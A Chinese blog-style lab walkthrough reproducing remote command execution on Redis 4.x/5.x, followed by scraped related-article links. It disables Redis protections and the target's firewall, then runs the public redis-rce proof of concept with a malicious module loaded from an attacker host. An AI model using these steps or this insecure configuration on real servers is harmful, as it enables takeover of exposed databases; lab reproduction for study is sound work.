redis命令执行复现
攻击机:centos mini 192.168.205.130
靶机:centos 192.168.205.128
影响范围:Redis4.x、5.x
0x01 安装redis包
wget download.redis.io/releases/redis-4.0.11.tar.gz
0x02 解压安装包
tar xzvf redis-4.0.11.tar.gz
目录下会新生成一个文件夹
yicunyiye@yicunyiye:~/redis$ ls
redis-4.0.11 redis-4.0.11.tar.gz
0x03 make安装
进入文件夹,在usr/local/redis目录下安装redis:
make PREFIX=/usr/local/redis install
0x04 修改redis.conf
cp /home/yicunyiye/redis/redis-4.0.11/redis.conf /usr/local/redis
修改conf文件
注释掉
#bind 127.0.0.1
修改为no,允许ip访问
protected-mode no
redis以后台方式启动
daemonize yes
0x04 服务端启动
在bin目录下
root@yicunyiye:/usr/local/redis/bin# ./redis-server /usr/local/redis/redis.conf
7901:C 07 Sep 19:22:17.689 # oO0OoO0OoO0Oo Redis is starting oO0OoO0OoO0Oo
7901:C 07 Sep 19:22:17.689 # Redis version=4.0.11, bits=64, commit=00000000, modified=0, pid=7901, just started
7901:C 07 Sep 19:22:17.689 # Configuration loaded
0x05 启动客户端并连接测试
./redis-cli
0x06 下载poc
git clone https://github.com/Ridter/redis-rce.git
0x07 下载RedisModules-ExecuteCommand
git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand.git
然后直接make
root@kali:~/redis-rce/RedisModules-ExecuteCommand# ls
RedisModules-ExecuteCommand
root@kali:~/redis-rce/RedisModules-ExecuteCommand# cd RedisModules-ExecuteCommand/
root@kali:~/redis-rce/RedisModules-ExecuteCommand/RedisModules-ExecuteCommand# make
然后将/src下的modules.so文件复制到poc目录下
0x08 poc出现的一些问题
出现了
No route to host
解决办法:
关闭iptables
service iptables stop
或者清理规则
iptables -F
注:这里是在靶机上执行关闭防火墙
运行发现缺少six库
先安装pip
curl https://bootstrap.pypa.io/get-pip.py -o get-pip.py
会在目录下生成一个get-pip.py
python get-pip.py
再安装
pip install six
运行poc
python redis-rce.py -r 192.168.205.128 -L 192.168.205.130 -f module.so
-r 目标ip -L本机ip
redis命令执行复现的更多相关文章
- Redis 命令执行过程(上)
今天我们来了解一下 Redis 命令执行的过程.在之前的文章中<当 Redis 发生高延迟时,到底发生了什么>我们曾简单的描述了一条命令的执行过程,本篇文章展示深入说明一下,加深读者对 R ...
- Redis 命令执行过程(下)
在上一篇文章中<Redis 命令执行过程(上)>中,我们首先了解 Redis 命令执行的整体流程,然后细致分析了从 Redis 启动到建立 socket 连接,再到读取 socket 数据 ...
- Redis 命令执行全过程分析
今天我们来了解一下 Redis 命令执行的过程.我们曾简单的描述了一条命令的执行过程,本篇文章展示深入说明一下,加深大家对 Redis 的了解. 如下图所示,一条命令执行完成并且返回数据一共涉及三部分 ...
- CVE 2021-44228 Log4j-2命令执行复现及分析
12月11日:Apache Log4j2官方发布了2.15.0 版本,以修复CVE-2021-44228.虽然 2.15.0 版本解决了Message Lookups功能和JNDI 访问方式的问题,但 ...
- Apache Solr远程命令执行复现
环境 /vulhub/solr/CVE-2019-0193/ 创建一个集合 docker-compose exec solr bash bin/solr create_core -c test -d ...
- redis 命令的调用过程
参考文献: Redis 是如何处理命令的(客户端) 我是如何通过添加一条命令学习redis源码的 从零开始写redis客户端(deerlet-redis-client)之路--第一个纠结很久的问题,r ...
- fastcgi未授权访问及任意命令执行
1. 漏洞原理 服务端使用fastcgi协议并对外网开放9000端口,攻击者可以构造fastcgi协议包内容,实现未授权访问服务端.php文件以及执行任意命令. 2. 漏洞利用 第一步 搭建vulhu ...
- 【漏洞预警】Redis 4.x/5.x 远程命令执行高危漏洞
2019年7月09日,阿里云应急响应中心监测到有安全研究人员披露Redis 4.x/5.x 远程命令执行高危漏洞利用代码工具.针对未授权或弱口令的Redis服务,攻击者通过构造特定请求,成功利用漏洞可 ...
- redis如何执行redis命令
Redis 命令 Redis 命令用于在 redis 服务上执行操作.所以我们必须要启动Redis服务程序,也就是redis安装目录下的redis-server.exe,你可以双击执行,也可以打开cm ...
随机推荐
- Kafka Producer源码解析一:整体架构
一.Producer整体架构 Kafka Producer端的架构整体也是一个生产者-消费者模式 Producer线程调用send时,只是将数据序列化后放入对应TopicPartition的Deque ...
- Jupyter Notebook 入门指南
https://www.jianshu.com/p/061c6e5c4b0d cmd输入 :jupyter notebook
- shell 三剑客之 sed
sed 在shell 编程里也很常用,功能强大! 同grep一样,sed提供两种方式: 方式一:stdout | sed [option] "pattern command" 从文 ...
- python爬虫-贴吧
#!/usr/bin/python# coding=utf-8# 作者 :Y0010026# 创建时间 :2018/12/16 15:33# 文件 :spider_03.py# IDE :PyChar ...
- 腾讯大牛半年心血高级编程PDF,帮你轻松构建企业级Web应用
毫无疑问,Java 是这些年来最流行的编程语言之一.它无处不在一计算机. 手机.网站以及各种嵌入式设备中都存在着大量的Java 应用程序,而其中应用最为广泛的应该就是Java EE Web应用程序(以 ...
- The Data Warehouse Toolkit 阅读笔记
前言 这篇笔记的主要内容来至于The Data Warehouse Toolkit,该书可以称为数仓建模的圣经 什么是星型模型 以一个业务实时为主表.比如一笔订单就是一个业务事实.订单有商品的SKU信 ...
- dump 内存分析
CPU 及内存占用过大,这也是我们日常调试工作中最常见的两个问题 首先附上两链接 一个样例演示 http://www.cnblogs.com/xioxu/archive/2009/09/04/1560 ...
- 保存vuex状态刷新不消失
写在App.vue中,所有页面共享此方法 export default { name: "app", components: {}, created() { // 页面每次刷新加载 ...
- 原生javaScript导出表格数据
<!DOCTYPE html> <html lang="zh"> <head> <meta charset="UTF-8&quo ...
- Kubernetes K8S在IPVS代理模式下Service服务的ClusterIP类型访问失败处理
Kubernetes K8S使用IPVS代理模式,当Service的类型为ClusterIP时,如何处理访问service却不能访问后端pod的情况. 背景现象 Kubernetes K8S使用IPV ...